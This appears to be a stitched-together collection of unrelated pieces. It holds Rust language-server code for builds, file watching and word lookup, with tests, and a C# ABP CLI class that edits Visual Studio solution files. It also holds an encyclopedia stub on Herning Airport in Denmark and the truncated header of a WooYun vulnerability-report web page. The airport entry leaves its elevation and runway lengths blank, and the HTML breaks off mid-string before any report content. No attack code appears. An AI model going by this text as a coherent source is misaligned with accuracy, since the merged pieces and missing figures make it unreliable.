let (job, token) = ConcurrentJob::new();
self.add_job(job);
let pbh = {
let config = self.config.lock().unwrap();
PostBuildHandler {
analysis: Arc::clone(&self.analysis),
analysis_queue: Arc::clone(&self.analysis_queue),
previous_build_results: Arc::clone(&self.previous_build_results),
file_to_crates: Arc::clone(&self.file_to_crates),
project_path: project_path.to_owned(),
show_warnings: config.show_warnings,
related_information_support: self.client_capabilities.related_information_support,
shown_cargo_error: Arc::clone(&self.shown_cargo_error),
active_build_count: Arc::clone(&self.active_build_count),
crate_blacklist: config.crate_blacklist.as_ref().clone(),
notifier: Box::new(BuildDiagnosticsNotifier::new(out.clone())),
blocked_threads: vec![],
_token: token,
}
};
let notifier = Box::new(BuildProgressNotifier::new(out.clone()));
self.active_build_count.fetch_add(1, Ordering::SeqCst);
self.build_queue.request_build(project_path, priority, notifier, pbh);
}
fn build_current_project<O: Output>(&self, priority: BuildPriority, out: &O) {
self.build(&self.current_project, priority, out);
}
pub fn add_job(&self, job: ConcurrentJob) {
self.jobs.lock().unwrap().add(job);
}
pub fn wait_for_concurrent_jobs(&self) {
self.jobs.lock().unwrap().wait_for_all();
}
/// Block until any builds and analysis tasks are complete.
pub fn block_on_build(&self) {
self.build_queue.block_on_build();
}
/// Returns `true` if there are no builds pending or in progress.
fn build_ready(&self) -> bool {
self.build_queue.build_ready()
}
/// Returns `true` if there are no builds or post-build (analysis) tasks pending
/// or in progress.
fn analysis_ready(&self) -> bool {
self.active_build_count.load(Ordering::SeqCst) == 0
}
/// See docs on VersionOrdering
fn check_change_version(&self, file_path: &Path, version_num: u64) -> VersionOrdering {
let file_path = file_path.to_owned();
let mut prev_changes = self.prev_changes.lock().unwrap();
if prev_changes.contains_key(&file_path) {
let prev_version = prev_changes[&file_path];
if version_num <= prev_version {
debug!(
"Out of order or duplicate change {:?}, prev: {}, current: {}",
file_path, prev_version, version_num,
);
if version_num == prev_version {
return VersionOrdering::Duplicate;
} else {
return VersionOrdering::OutOfOrder;
}
}
}
prev_changes.insert(file_path, version_num);
VersionOrdering::Ok
}
fn reset_change_version(&self, file_path: &Path) {
let file_path = file_path.to_owned();
let mut prev_changes = self.prev_changes.lock().unwrap();
prev_changes.remove(&file_path);
}
fn convert_pos_to_span(&self, file_path: PathBuf, pos: Position) -> Span {
trace!("convert_pos_to_span: {:?} {:?}", file_path, pos);
let pos = ls_util::position_to_rls(pos);
let line = self.vfs.load_line(&file_path, pos.row).unwrap();
trace!("line: `{}`", line);
let (start, end) = find_word_at_pos(&line, pos.col);
trace!("start: {}, end: {}", start.0, end.0);
Span::from_positions(
span::Position::new(pos.row, start),
span::Position::new(pos.row, end),
file_path,
)
}
}
/// Read package edition from the Cargo manifest
fn edition_from_manifest<P: AsRef<Path>>(manifest_path: P) -> Option<Edition> {
#[derive(Debug, serde::Deserialize)]
struct Manifest {
package: Package,
}
#[derive(Debug, serde::Deserialize)]
struct Package {
edition: Option<String>,
}
let manifest: Manifest = toml::from_str(&std::fs::read_to_string(manifest_path).ok()?).ok()?;
match manifest.package.edition {
Some(edition) => Edition::try_from(edition.as_str()).ok(),
None => Some(Edition::default()),
}
}
/// Some notifications come with sequence numbers, we check that these are in
/// order. However, clients might be buggy about sequence numbers so we do cope
/// with them being wrong.
///
/// This enum defines the state of sequence numbers.
#[derive(Eq, PartialEq, Debug, Clone, Copy)]
pub enum VersionOrdering {
/// Sequence number is in order (note that we don't currently check that
/// sequence numbers are sequential, but we probably should).
Ok,
/// This indicates the client sent us multiple copies of the same notification
/// and some should be ignored.
Duplicate,
/// Just plain wrong sequence number. No obvious way for us to recover.
OutOfOrder,
}
/// Represents a text cursor between characters, pointing at the next character
/// in the buffer.
type Column = span::Column<span::ZeroIndexed>;
/// Returns a text cursor range for a found word inside `line` at which `pos`
/// text cursor points to. Resulting type represents a (`start`, `end`) range
/// between `start` and `end` cursors.
/// For example (4, 4) means an empty selection starting after first 4 characters.
fn find_word_at_pos(line: &str, pos: Column) -> (Column, Column) {
let col = pos.0 as usize;
let is_ident_char = |c: char| c.is_alphanumeric() || c == '_';
let start = line
.chars()
.enumerate()
.take(col)
.filter(|&(_, c)| !is_ident_char(c))
.last()
.map(|(i, _)| i + 1)
.unwrap_or(0) as u32;
#[allow(clippy::filter_next)]
let end = line
.chars()
.enumerate()
.skip(col)
.filter(|&(_, c)| !is_ident_char(c))
.next()
.map(|(i, _)| i)
.unwrap_or(col) as u32;
(span::Column::new_zero_indexed(start), span::Column::new_zero_indexed(end))
}
/// Client file-watching request / filtering logic
/// We want to watch workspace 'Cargo.toml', root 'Cargo.lock' & the root 'target' dir
pub struct FileWatch {
project_path: PathBuf,
project_uri: String,
}
impl FileWatch {
/// Construct a new `FileWatch`.
pub fn new(ctx: &InitActionContext) -> Self {
Self::from_project_root(ctx.current_project.clone())
}
pub fn from_project_root(root: PathBuf) -> Self {
Self { project_uri: Url::from_file_path(&root).unwrap().into(), project_path: root }
}
/// Returns json config for desired file watches
pub fn watchers_config(&self) -> serde_json::Value {
fn watcher(pat: String) -> FileSystemWatcher {
FileSystemWatcher { glob_pattern: pat, kind: None }
}
fn watcher_with_kind(pat: String, kind: WatchKind) -> FileSystemWatcher {
FileSystemWatcher { glob_pattern: pat, kind: Some(kind) }
}
let project_str = self.project_path.to_str().unwrap();
let mut watchers = vec![
watcher(format!("{}/Cargo.lock", project_str)),
// For target, we only watch if it gets deleted.
watcher_with_kind(format!("{}/target", project_str), WatchKind::Delete),
];
// Find any Cargo.tomls in the project
for entry in WalkDir::new(project_str)
.into_iter()
.filter_map(Result::ok)
.filter(|e| e.file_name() == "Cargo.toml")
{
watchers.push(watcher(entry.path().display().to_string()));
}
json!({ "watchers": watchers })
}
/// Returns if a file change is relevant to the files we actually wanted to watch
// Implementation note: This is expected to be called a large number of times in a loop
// so should be fast / avoid allocation.
#[inline]
fn relevant_change_kind(&self, change_uri: &Url, kind: FileChangeType) -> bool {
let path = change_uri.as_str();
// Prefix-matching file URLs on Windows require special attention -
// - either file:c/... and file:///c:/ works
// - drive letters are case-insensitive
// - also protects against naive scheme-independent parsing
// (path_to_url
if cfg!(windows) {
let changed_path = match change_uri.to_file_path() {
Ok(path) => path,
Err(_) => return false,
};
if !changed_path.starts_with(&self.project_path) {
return false;
}
} else if !path.starts_with(&self.project_uri) {
return false;
}
if path.ends_with("/Cargo.toml") {
return true;
}
let local = &path[self.project_uri.len()..];
local == "/Cargo.lock" || (local == "/target" && kind == FileChangeType::Deleted)
}
#[inline]
pub fn is_relevant(&self, change: &FileEvent) -> bool {
self.relevant_change_kind(&change.uri, change.typ)
}
#[inline]
pub fn is_relevant_save_doc(&self, did_save: &DidSaveTextDocumentParams) -> bool {
self.relevant_change_kind(&did_save.text_document.uri, FileChangeType::Changed)
}
}
#[cfg(test)]
mod test {
use super::*;
#[test]
fn test_find_word_at_pos() {
fn assert_range(test_str: &'static str, range: (u32, u32)) {
assert!(test_str.chars().filter(|c| *c == '|').count() == 1);
let col = test_str.find('|').unwrap() as u32;
let line = test_str.replace('|', "");
let (start, end) = find_word_at_pos(&line, Column::new_zero_indexed(col));
let actual = (start.0, end.0);
assert_eq!(range, actual, "Assertion failed for {:?}", test_str);
}
assert_range("|struct Def {", (0, 6));
assert_range("stru|ct Def {", (0, 6));
assert_range("struct| Def {", (0, 6));
assert_range("struct |Def {", (7, 10));
assert_range("struct De|f {", (7, 10));
assert_range("struct Def| {", (7, 10));
assert_range("struct Def |{", (11, 11));
assert_range("|span::Position<T>", (0, 4));
assert_range(" |span::Position<T>", (1, 5));
assert_range("sp|an::Position<T>", (0, 4));
assert_range("span|::Position<T>", (0, 4));
assert_range("span::|Position<T>", (6, 14));
assert_range("span::Position|<T>", (6, 14));
assert_range("span::Position<|T>", (15, 16));
assert_range("span::Position<T|>", (15, 16));
}
fn change(url: &str) -> FileEvent {
FileEvent::new(Url::parse(url).unwrap(), FileChangeType::Changed)
}
fn did_save(url: &str) -> DidSaveTextDocumentParams {
DidSaveTextDocumentParams {
text_document: TextDocumentIdentifier::new(Url::parse(url).unwrap()),
}
}
#[cfg(not(windows))]
#[test]
fn file_watch_relevant_files() {
let watch = FileWatch::from_project_root("/some/dir".into());
assert!(watch.is_relevant(&change("file://localhost/some/dir/Cargo.toml")));
assert!(watch.is_relevant(&change("file:///some/dir/Cargo.toml")));
assert!(watch.is_relevant(&change("file:///some/dir/Cargo.lock")));
assert!(watch.is_relevant(&change("file:///some/dir/inner/Cargo.toml")));
assert!(!watch.is_relevant(&change("file:///some/dir/inner/Cargo.lock")));
assert!(!watch.is_relevant(&change("file:///Cargo.toml")));
}
#[cfg(not(windows))]
#[test]
fn did_save_relevant_files() {
let watch = FileWatch::from_project_root("/some/dir".into());
assert!(watch.is_relevant_save_doc(&did_save("file:///some/dir/Cargo.lock")));
assert!(watch.is_relevant_save_doc(&did_save("file:///some/dir/inner/Cargo.toml")));
assert!(!watch.is_relevant_save_doc(&did_save("file:///some/dir/inner/Cargo.lock")));
assert!(!watch.is_relevant_save_doc(&did_save("file:///Cargo.toml")));
}
#[cfg(windows)]
#[test]
fn file_watch_relevant_files() {
let watch = FileWatch::from_project_root("C:/some/dir".into());
assert!(watch.is_relevant(&change("file:c:/some/dir/Cargo.toml")));
assert!(watch.is_relevant(&change("file:///c:/some/dir/Cargo.toml")));
assert!(watch.is_relevant(&change("file:///C:/some/dir/Cargo.toml")));
assert!(watch.is_relevant(&change("file:///c%3A/some/dir/Cargo.toml")));
assert!(watch.is_relevant(&change("file:///c:/some/dir/Cargo.lock")));
assert!(watch.is_relevant(&change("file:///c:/some/dir/inner/Cargo.toml")));
assert!(!watch.is_relevant(&change("file:///c:/some/dir/inner/Cargo.lock")));
assert!(!watch.is_relevant(&change("file:///c:/Cargo.toml")));
}
#[cfg(windows)]
#[test]
fn did_save_relevant_files() {
let watch = FileWatch::from_project_root("C:/some/dir".into());
assert!(watch.is_relevant_save_doc(&did_save("file:///c:/some/dir/Cargo.lock")));
assert!(watch.is_relevant_save_doc(&did_save("file:///c:/some/dir/inner/Cargo.toml")));
assert!(!watch.is_relevant_save_doc(&did_save("file:///c:/some/dir/inner/Cargo.lock")));
assert!(!watch.is_relevant_save_doc(&did_save("file:///c:/Cargo.toml")));
}
#[test]
fn explicit_edition_from_manifest() -> Result<(), std::io::Error> {
use std::{fs::File, io::Write};
let dir = tempfile::tempdir()?;
let manifest_path = {
let path = dir.path().join("Cargo.toml");
let mut m = File::create(&path)?;
writeln!(
m,
"[package]\n\
name = \"foo\"\n\
version = \"1.0.0\"\n\
edition = \"2018\""
)?;
path
};
assert_eq!(edition_from_manifest(manifest_path), Some(Edition::Edition2018));
Ok(())
}
}
```
|
```smalltalk
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Volo.Abp.DependencyInjection;
namespace Volo.Abp.Cli.ProjectModification;
public class SolutionFileModifier : ITransientDependency
{
public static Encoding DefaultEncoding = Encoding.UTF8;
public async Task RemoveProjectFromSolutionFileAsync(string solutionFile, string projectName)
{
using (var fileStream = File.Open(solutionFile, FileMode.Open, FileAccess.ReadWrite, FileShare.None))
{
using (var sr = new StreamReader(fileStream, Encoding.Default, true))
{
var solutionFileContent = await sr.ReadToEndAsync();
solutionFileContent.NormalizeLineEndings();
var lines = solutionFileContent.Split(new[] { Environment.NewLine, "\n" }, StringSplitOptions.None);
var updatedContent = RemoveProject(lines.ToList(), projectName).JoinAsString(Environment.NewLine);
fileStream.Seek(0, SeekOrigin.Begin);
fileStream.SetLength(0);
using (var sw = new StreamWriter(fileStream, DefaultEncoding))
{
await sw.WriteAsync(updatedContent);
await sw.FlushAsync();
}
}
}
}
public async Task AddModuleToSolutionFileAsync(ModuleWithMastersInfo module, string solutionFile)
{
await AddModuleAsync(module, solutionFile);
}
public async Task AddPackageToSolutionFileAsync(NugetPackageInfo package, string solutionFile)
{
await AddPackageAsync(package, solutionFile);
}
private async Task AddPackageAsync(NugetPackageInfo package, string solutionFile)
{
var srcFolderId = await AddNewFolderAndGetIdOrGetExistingIdAsync(solutionFile, "src");
var solutionFileContent = File.ReadAllText(solutionFile);
var lines = solutionFileContent.Split(new[] { Environment.NewLine, "\n" }, StringSplitOptions.None).ToList();
if (lines.Any(l => l.Contains($"\"{package.Name}\"")))
{
return;
}
var projectGuid = Guid.NewGuid().ToString();
var newProjectLine = "Project(\"{9A19103F-16F7-4668-BE54-9A1E7A4F7556}\") = \"" + package.Name + "\"," +
" \"packages\\" + package.Name + "\\" +
"\\" + package.Name + ".csproj\", \"{" + projectGuid + "}\""
+ Environment.NewLine + "EndProject";
lines.InsertAfter(l => l.Trim().Equals("EndProject"), newProjectLine);
var newPostSolutionLine =
" {" + projectGuid + "}.Debug|Any CPU.ActiveCfg = Debug|Any CPU" + Environment.NewLine +
" {" + projectGuid + "}.Debug|Any CPU.Build.0 = Debug|Any CPU" + Environment.NewLine +
" {" + projectGuid + "}.Release|Any CPU.ActiveCfg = Release|Any CPU" + Environment.NewLine +
" {" + projectGuid + "}.Release|Any CPU.Build.0 = Release|Any CPU";
lines.InsertAfter(l => l.Contains("GlobalSection") && l.Contains("ProjectConfigurationPlatforms"),
newPostSolutionLine);
var newPreSolutionLine =
" {" + projectGuid + "} = {" + srcFolderId + "}";
lines.InsertAfter(l => l.Contains("GlobalSection") && l.Contains("NestedProjects"), newPreSolutionLine);
File.WriteAllText(solutionFile, string.Join(Environment.NewLine, lines), DefaultEncoding);
}
private List<string> RemoveProject(List<string> solutionFileLines, string projectName)
{
var projectKey = FindProjectKey(solutionFileLines, projectName);
if (projectKey == null)
{
return solutionFileLines;
}
var newSolutionFileLines = new List<string>();
var firstOccurence = true;
for (var i = 0; i < solutionFileLines.Count; ++i)
{
if (solutionFileLines[i].Contains(projectKey))
{
if (firstOccurence)
{
firstOccurence = false;
++i; //Skip "EndProject" line too.
}
continue;
}
newSolutionFileLines.Add(solutionFileLines[i]);
}
return newSolutionFileLines;
}
private string FindProjectKey(List<string> solutionFileLines, string projectName)
{
var projectNameWithQuotes = $"\"{projectName}\"";
foreach (var solutionFileLine in solutionFileLines)
{
if (solutionFileLine.Contains(projectNameWithQuotes))
{
var curlyBracketStartIndex = solutionFileLine.LastIndexOf("{", StringComparison.OrdinalIgnoreCase);
var curlyBracketEndIndex = solutionFileLine.LastIndexOf("}", StringComparison.OrdinalIgnoreCase);
return solutionFileLine.Substring(curlyBracketStartIndex + 1,
curlyBracketEndIndex - curlyBracketStartIndex - 1);
}
}
return null;
}
private async Task AddModuleAsync(ModuleWithMastersInfo module, string solutionFile)
{
var srcModuleFolderId = await AddNewFolderAndGetIdOrGetExistingIdAsync(solutionFile, module.Name,
await AddNewFolderAndGetIdOrGetExistingIdAsync(solutionFile, "modules"));
var testModuleFolderId = await AddNewFolderAndGetIdOrGetExistingIdAsync(solutionFile, module.Name + ".Tests",
await AddNewFolderAndGetIdOrGetExistingIdAsync(solutionFile, "test"));
var file = File.ReadAllText(solutionFile);
var lines = file.Split(new[] { Environment.NewLine, "\n" }, StringSplitOptions.None).ToList();
var projectsUnderModule = Directory.GetFiles(
Path.Combine(Path.GetDirectoryName(solutionFile), "modules", module.Name),
"*.csproj",
SearchOption.AllDirectories);
var projectsUnderTest = new List<string>();
if (Directory.Exists(Path.Combine(Path.GetDirectoryName(solutionFile), "modules", module.Name, "test")))
{
projectsUnderTest = Directory.GetFiles(
Path.Combine(Path.GetDirectoryName(solutionFile), "modules", module.Name, "test"),
"*.csproj",
SearchOption.AllDirectories).ToList();
}
foreach (var projectPath in projectsUnderModule)
{
var parentFolderId = projectsUnderTest.Contains(projectPath) ? testModuleFolderId : srcModuleFolderId;
var projectId = Path.GetFileName(projectPath).Replace(".csproj", "");
var projectParentFolderInModule = projectsUnderTest.Contains(projectPath) ? "test" : "src";
if (lines.Any(l => l.Contains($"\"{projectId}\"")))
{
continue;
}
var projectGuid = Guid.NewGuid().ToString();
var newProjectLine = "Project(\"{9A19103F-16F7-4668-BE54-9A1E7A4F7556}\") = \"" + projectId + "\"," +
" \"modules\\" + module.Name + "\\" + projectParentFolderInModule + "\\" +
projectId + "\\" + projectId + ".csproj\", \"{" + projectGuid + "}\""
+ Environment.NewLine + "EndProject";
lines.InsertAfter(l => l.Trim().Equals("EndProject"), newProjectLine);
var newPostSolutionLine =
" {" + projectGuid + "}.Debug|Any CPU.ActiveCfg = Debug|Any CPU" + Environment.NewLine +
" {" + projectGuid + "}.Debug|Any CPU.Build.0 = Debug|Any CPU" + Environment.NewLine +
" {" + projectGuid + "}.Release|Any CPU.ActiveCfg = Release|Any CPU" + Environment.NewLine +
" {" + projectGuid + "}.Release|Any CPU.Build.0 = Release|Any CPU";
lines.InsertAfter(l => l.Contains("GlobalSection") && l.Contains("ProjectConfigurationPlatforms"),
newPostSolutionLine);
var newPreSolutionLine =
" {" + projectGuid + "} = {" + parentFolderId + "}";
lines.InsertAfter(l => l.Contains("GlobalSection") && l.Contains("NestedProjects"), newPreSolutionLine);
}
File.WriteAllText(solutionFile, string.Join(Environment.NewLine, lines), Encoding.UTF8);
if (module.MasterModuleInfos != null)
{
foreach (var masterModule in module.MasterModuleInfos)
{
await AddModuleAsync(masterModule, solutionFile);
}
}
}
private async Task<string> AddNewFolderAndGetIdOrGetExistingIdAsync(string solutionFile, string folderName,
string parentFolderId = null)
{
var file = File.ReadAllText(solutionFile);
var lines = file.Split(new[] { Environment.NewLine, "\n" }, StringSplitOptions.None).ToList();
string folderId;
var folderLineIndex = lines.FindIndex(l =>
l.Contains("2150E333-8FDC-42A3-9474-1A3956D46DE8") && l.Contains("\"" + folderName + "\""));
if (folderLineIndex < 0)
{
folderId = Guid.NewGuid().ToString();
var newFolderLine = "Project(\"{2150E333-8FDC-42A3-9474-1A3956D46DE8}\") = \"" + folderName + "\", \"" +
folderName + "\", \"{" + folderId + "}\""
+ Environment.NewLine + "EndProject";
lines.InsertAfter(l => l.Trim().Equals("EndProject"), newFolderLine);
if (parentFolderId != null)
{
var newPreSolutionLine =
" {" + folderId + "} = {" + parentFolderId + "}";
lines.InsertAfter(l => l.Contains("GlobalSection") && l.Contains("NestedProjects"),
newPreSolutionLine);
}
}
else
{
folderId = lines[folderLineIndex].Replace("\"", " ").Replace("{", " ").Replace("}", " ").TrimEnd()
.Split(" ").Last();
}
File.WriteAllText(solutionFile, string.Join(Environment.NewLine, lines), Encoding.UTF8);
return folderId;
}
}
```
|
Herning Airport ( or Herning Lufthavn) is an airport located north-northeast of Herning, a city in Herning Municipality (Herning Kommune), Central Denmark Region (Region Midtjylland), Denmark.
Facilities
The airport resides at an elevation of above mean sea level. It has two runways: 09/27 with an asphalt surface measuring and 15/33 with a grass surface measuring .
References
External links
Herning Motorflyveklub
Airports in Denmark
Buildings and structures in the Central Denmark Region
Transport in the Central Denmark Region
Herning Municipality
|
```html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "path_to_url">
<html xmlns="path_to_url">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<meta http-equiv="x-ua-compatible" content="ie=7"/>
<title> SQL | WooYun-2016-177317 | WooYun.org </title>
<meta name="author" content="80sec"/>
<meta name="copyright" content="path_to_url"/>
<meta name="keywords" content=",,SQL,wooyun,,web,,,,,"/>
<meta name="description" content="RT|WooYun,,,"/>
<link rel="icon" href="path_to_url" sizes="32x32" />
<link href="../css/style.css?v=201501291909" rel="stylesheet" type="text/css"/>
<script src="path_to_url" type="text/javascript"></script>
</head>
<body id="bugDetail">
<style>
#myBugListTab { position:relative; display:inline; border:none }
#myBugList { position:absolute; display:none; margin-left:309px; * margin-left:-60px; * margin-top:18px ; border:#c0c0c0 1px solid; padding:2px 7px; background:#FFF }
#myBugList li { text-align:left }
</style>
<script type="text/javascript">
$(document).ready(function(){
if ( $("#__cz_push_d_object_box__") ) {
$("script[src^='path_to_url").attr("src"," ").remove();
$("#__cz_push_d_object_box__").empty().remove();
$("a[id^='__czUnion_a']").attr("href","#").remove();
}
if ( $("#ooDiv") ) {
$("#ooDiv").empty().parent("div").remove();
}
$("#myBugListTab").toggle(
function(){
$("#myBugList").css("display","block");
},
function(){
$("#myBugList").css("display","none");
}
);
if ( $(window).scrollTop() > 120 ) {
$("#back-to-top").fadeIn(300);
} else {
$("#back-to-top").fadeOut(300);
}
$(window).scroll(function(){
if ( $(window).scrollTop() > 120 ) {
$("#back-to-top").fadeIn(300);
} else {
$("#back-to-top").fadeOut(300);
}
});
$("#back-to-top a").click(function() {
$('body,html').animate({scrollTop:0},300);
return false;
});
$("#go-to-comment a").click(function() {
var t = $("#replys").offset().top - 52;
$('body,html').animate({scrollTop:t},300);
return false;
});
});
function gofeedback(){
var bugid=$("#fbid").val();
if(bugid){
var url="/feedback.php?bugid="+bugid;
}else{
var url="/feedback.php"
}
window.open(url);
}
</script>
<div class="go-to-wrapper">
<ul class="go-to">
<li id="go-to-comment" title=""><a href="wooyun-2016-0177317#"></a></li>
<li id="go-to-feedback" title=""><a href="javascript:void(0)" onclick="gofeedback()"></a></li>
<li id="back-to-top" title=""><a href="wooyun-2016-0177317#"></a></li>
</ul>
</div>
<div class="banner">
<div class="logo">
<h1>WooYun.org</h1>
<div class="weibo"><iframe width="136" height="24" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" scrolling="no" border="0" src="path_to_url"></iframe>
</div>
<div class="wxewm">
<a class="ewmthumb" href="javascript:void(0)"><span><img src="path_to_url"width="220" border="0"></span><img src="path_to_url"width="22" border="0"></a>
</div>
</div>
<div class="login">
<a href="path_to_url"></a> | <a href="path_to_url" class="reg"></a>
</div>
</div>
<div class="nav" id="nav_sc">
<ul>
<li><a href="path_to_url"></a></li>
<li><a href="path_to_url"></a></li>
<li><a href="path_to_url"></a></li>
<li><a href="path_to_url"></a></li>
<li><a href="path_to_url"></a></li>
<li><a href="path_to_url"></a></li>
<li class="new"><a href="path_to_url"></a></li>
<!--li><a href="/corp_actions"></a></li-->
<!--<li><a target='_blank' href="path_to_url"></a></li>-->
<li><a href="path_to_url" target="_blank" style="color:rgb(246,172,110);font-size:14px;font-weight:blod"></a></li>
<!--li><a href="/job/"></a></li-->
<li><a href="path_to_url" target="_blank"></a></li>
<li><a href="path_to_url" target="_blank"></a></li>
<li><a href="path_to_url"></a></li>
</ul>
<form action="path_to_url" method="post" id="searchbox">
<input type="text" name="q" id="search_input" />
<input type="submit" value="" id="search_button" />
</form>
</div>
<div class="bread" style="padding-top: 4px;">
<div style="float:left"><a href="path_to_url">WooYun</a> >> <a href="wooyun-2016-0177317#"></a></div>
</div>
<script language="javascript">
var _LANGJS = {"COMMENT_LIKE_SELF":"\u4e0d\u80fd\u81ea\u5df1\u8d5e\u81ea\u5df1\u7684\u8bc4\u8bba","COMMENT_LIKED":"\u5df2\u8d5e\u6b64\u8bc4\u8bba","COMMENT_NOT":"\u6b64\u8bc4\u8bba\u4e0d\u5b58\u5728","COMMENT_FILL":"\u8bf7\u8f93\u5165\u8bc4\u8bba\u5185\u5bb9","COMMENT_STAT":"\u8bc4\u8bba\u4e0d\u80fd\u4e3a\u7a7a","COMMENT_LOGIN":"\u767b\u9646\u540e\u624d\u80fd\u8bc4\u8bba","COMMENT_GOOD_DONE":"\u5df2\u8d5e\u8fc7\u6b64\u6761\u8bc4\u8bba","COMMENT_SELF":"\u4e0d\u80fd\u8bc4\u4ef7\u81ea\u5df1\u53d1\u5e03\u7684\u8bc4\u8bba","COMMENT_CLICK_FILL":"\u70b9\u51fb\u8f93\u5165\u8bc4\u8bba\u5185\u5bb9","FAIL":"\u64cd\u4f5c\u5931\u8d25","FAIL_MANAGE":"\u64cd\u4f5c\u5931\u8d25\uff0c\u8bf7\u4e0e\u7ba1\u7406\u5458\u8054\u7cfb","FAIL_NO_WHITEHATS":"\u64cd\u4f5c\u5931\u8d25\uff0c\u6ca1\u6709\u6b64\u767d\u5e3d\u5b50","FAIL_NO_CORPS":"\u64cd\u4f5c\u5931\u8d25\uff0c\u6ca1\u6709\u6b64\u5382\u5546","BUGS_CORPS_SELECT":"\u9009\u62e9\u5382\u5546(\u53ef\u8f93\u5165\u5173\u952e\u5b57\u641c\u7d22)","BUGS_CORPS_OTHER":"Other\/\u5176\u5b83\u5382\u5546","BUGS_CORPS_TYPE_STAT":"\u8be5\u6f0f\u6d1e\u5bf9\u5e94\u5382\u5546\u7684\u7c7b\u578b","BUGS_CORPS_NAME_STAT":"\u8be5\u6f0f\u6d1e\u5bf9\u5e94\u5382\u5546\u7684\u540d\u79f0","BUGS_TYPE_STAT":"\u8be5\u6f0f\u6d1e\u7684\u7c7b\u578b\uff0c\u4e71\u9009\u6263\u5206","BUGS_TITLE_STAT":"\u8be5\u6f0f\u6d1e\u7684\u6807\u9898","BUGS_HARMLEVEL_STAT":"\u8be5\u6f0f\u6d1e\u7684\u5371\u5bb3\u7b49\u7ea7","BUGS_DESCRIPTION_STAT":"\u5bf9\u6f0f\u6d1e\u7684\u7b80\u8981\u63cf\u8ff0\uff0c\u53ef\u4ee5\u7b80\u5355\u63cf\u8ff0\u6f0f\u6d1e\u7684\u5371\u5bb3\u548c\u6210\u56e0\uff0c\u4e0d\u8981\u900f\u6f0f\u6f0f\u6d1e\u7684\u7ec6\u8282","BUGS_CONTENT_STAT":"\u5bf9\u6f0f\u6d1e\u7684\u8be6\u7ec6\u63cf\u8ff0\uff0c\u8bf7\u5c3d\u91cf\u591a\u7684\u6df1\u5165\u7ec6\u8282\u4ee5\u65b9\u4fbf\u5bf9\u6f0f\u6d1e\u7684\u7406\u89e3\uff0c\u652f\u6301<code><\/code>\u6807\u7b7e","BUGS_POC_STAT":"\u7ed9\u51fa\u95ee\u9898\u7684\u6982\u5ff5\u6027\u8bc1\u660e\uff0c\u652f\u6301<code><\/code>\u6807\u7b7e","BUGS_PATCH_STAT":"\u5efa\u8bae\u7684\u6f0f\u6d1e\u4fee\u590d\u65b9\u6848\uff0c\u652f\u6301<code><\/code>\u6807\u7b7e","BUGS_TEST_STAT":"\u7ed9\u51fa\u95ee\u9898\u7684\u6807\u51c6\u6d4b\u8bd5\u4ee3\u7801\u4ee5\u66f4\u4e3a\u65b9\u4fbf\u7684\u5bf9\u6f0f\u6d1e\u8fdb\u884c\u6d4b\u8bd5\u548c\u9a8c\u8bc1\uff0c\u6d4b\u8bd5\u4ee3\u7801\u5bf9\u5916\u9ed8\u8ba4\u4e0d\u663e\u793a\uff0c<br\/>\u5176\u4ed6\u767d\u5e3d\u5b50\u652f\u4ed8\u4e4c\u4e91\u5e01\u67e5\u770b\u540e\u4f60\u5c06\u83b7\u5f97\u989d\u5916\u4e4c\u4e91\u5e01\uff0c<br\/>\u540c\u65f6\u4e5f\u5c06\u5728\u4f60\u7684\u4e2a\u4eba\u9875\u9762\u4f53\u73b0\u4f60\u7684\u6d4b\u8bd5\u4ee3\u7801\u7f16\u5199\u80fd\u529b\u3002","BUGS_QUESTION_SELECT":"\u8bf7\u9009\u62e9\u95ee\u9898\u5382\u5546","BUGS_TITLE_NOTICE":"\u6f0f\u6d1e\u6807\u9898\u4e0d\u80fd\u4e3a\u7a7a","BUGS_RANK_NOTICE1":"\u8bf7\u586b\u5199\u81ea\u8bc4Rank","BUGS_RANK_NOTICE2":"\u81ea\u8bc4Rank\u4e3a\u5927\u4e8e0\u7684\u6570\u5b57","BUGS_TYPE_SELECT":"\u8bf7\u9009\u62e9\u6f0f\u6d1e\u7c7b\u578b","BUGS_TYPE_NOTICE":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u7c7b\u578b","BUGS_HARMLEVEL_SELECT":"\u9009\u62e9\u6f0f\u6d1e\u7b49\u7ea7","BUGS_HARMLEVEL_NOTICE":"\u8bf7\u9009\u62e9\u6f0f\u6d1e\u7b49\u7ea7","BUGS_HARMLEVEL_LOWER":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u4f4e \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a1-5","BUGS_HARMLEVEL_MIDDLE":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u4e2d \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a5-10","BUGS_HARMLEVEL_HIGH":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u9ad8 \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a10-20","BUGS_AREA_SELECT":"\u8bf7\u9009\u62e9\u5730\u533a\uff01","BUGS_DOMAILS":"\u6f0f\u6d1e\u6240\u5728\u57df\u540d(\u5982qq.com)","BUGS_DOMAIN_FILL":"\u8bf7\u586b\u5199\u57df\u540d\uff01","BUGS_DETAIL_MORE":"\u67e5\u770b\u8be6\u60c5","BUGS_IGNORE_DAYS":"\u8ddd\u6f0f\u6d1e\u5ffd\u7565\u8fd8\u6709","BUGS_CONFIRM_QUICK":"\u8bf7\u5382\u5546\u5c3d\u5feb","BUGS":"\u6f0f\u6d1e","BUGS_PUBLIC_DAYS":"\u8ddd\u6f0f\u6d1e\u5411\u516c\u4f17\u516c\u5f00\u8fd8\u6709","BUGS_IGNORE_PUBLIC_DAYS":"\u8ddd\u6f0f\u6d1e\u672a\u786e\u8ba4\u65e0\u5f71\u54cd\u5ffd\u7565\u8fd8\u6709","BUGS_REPAIR_QUICK":"\u8bf7\u5382\u5546\u5c3d\u5feb\u4fee\u590d\u6f0f\u6d1e","BUGS_HARMLEVEL_REMIND":"\u8bf7\u9009\u62e9\u5371\u5bb3\u7b49\u7ea7","BUGS_RANK_STAT":"rank\u4e3a1-20\u7684\u6b63\u6574\u6570","BUGS_RANK_STAT1":"rank\u4e3a1-5\u7684\u6b63\u6574\u6570","BUGS_RANK_STAT2":"rank\u4e3a5-10\u7684\u6b63\u6574\u6570","B